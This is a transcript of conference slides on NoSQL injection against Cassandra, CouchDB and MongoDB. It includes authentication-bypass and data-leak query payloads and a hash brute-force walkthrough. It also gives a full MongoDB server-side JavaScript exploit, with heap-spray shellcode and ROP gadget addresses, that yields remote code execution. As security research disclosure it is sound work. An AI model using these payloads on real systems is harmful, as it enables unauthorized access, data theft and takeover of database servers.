sthack 2013 - florian "@agixid" gaultier no sql injection but nosql injection

Post on 05-Dec-2014

672 Views

Category:

Technology

1 Downloads

Preview:

Click to see full reader

DESCRIPTION

La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...

TRANSCRIPT

No SQL injection but NoSQL Injection

NoSecurity or not ?

1

2

Plans

› What's/Why NoSQL ?

› Work in progress› Cassandra› CouchDB

› Mass pwnage...

3

NoSQL fashion way of life

› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster

4

NoSQL Hipsters

5

Cassandra

› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL

6

Cassandra › Let's find CQL injection› Cassandra model

› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns

› OR 1=1 ?

7

Cassandra › WHERE CONDITION

› No OR› No UNION› No subrequests› Term must be indexed

columns

8

To be continued...

9

CouchDB

› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based

10

CouchDB - RESTfull

› Use HTTP protocol only› GET, PUT, POST, DELETE...

› curl -X PUT http://localhost:5984/test/

› curl -X POST http://localhost:5984/test/ -H "Content-Type:

application/json" -d {name : 'value'}

› curl -X GET http://localhost:5984/test/_all_docs

› curl -X DELETE http://localhost:5984/test/

› CSRF ?› SOP protected

11

CouchDB - Javascript

› JSON documents

› Special _design documents› views› shows› lists› validate_doc_update

› All in JS› SSJI ?

12

CouchDB - SSJI

› No function rewriting› No variable leak

› _design leak

curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)

"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"

13

To be continued...

14

0day inside

15

mongoDB

› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based

16

mongoDB – Home Made Protocol› Bson based› Challenge response authentication

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

17

./src/mongo/client/dbclient.cpp

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

18

mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))

Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›

› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key

Key : 3f5c7a073c3fb54c96b860b7f397bfc7›

19

mongoDB – Associative Array

› DatabaseCollections

Documents› Data manipulation with JSON array

› db.my_collection.insert({key_name:"value",my_array:[1,2,3],

my_assoc_array:{key1_name:"value",key2_name:"value"}})

› db.my_collection.find({key_name : "value"})

› Special KeyName : operator

20

mongoDB – operators

› Only on update and find query› Conditions

› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)

› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})

21

mongoDB –

22

mongoDB –

› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}

› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},

'pass' : {'$ne' : 'test'}}

23

mongoDB –

› Authentication bypass

› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}

24

mongoDB –

› $regex to get actual document leak› More leak ?

› $WHERE !

› $where=1==1&login[$exists]=test&pass[$exists]=test

25

mongoDB – Blind true/false based

› db.getCollectionNames().length

› db.getCollectionNames()[0][0]

› tojson(db.secret.find({},{_id:0})[0])[3]

26

mongoDB – What else› Check javascript methods on mongo website

› http://docs.mongodb.org/manual/reference/method/run/

› Let's check internal usage...

27

mongoDB – SSJI => RCE

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

28

./src/mongo/scripting/engine_spidermonkey.cpp

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

29

mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},

[])&login[$exists]=test&pass[$exists]=test

30

mongoDB – Exploitation

› JAVASCRIPT SERVER SIDE EXPLOIT !

› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass

› Not stack overflow› No stack control› EIP is not enough

31

mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})

32

mongoDB – Exploitation

› Land to the stack› PIVOT 1

› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null

byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control

33

mongoDB – Exploitation

› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed

› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !

34

mongoDB – Exploitation

› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !

35

mongoDB – Exploitation

› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit

36

The end

› Still mongo 0day \o/› A lot of work to do...

› NoSQL is not so bad !

top related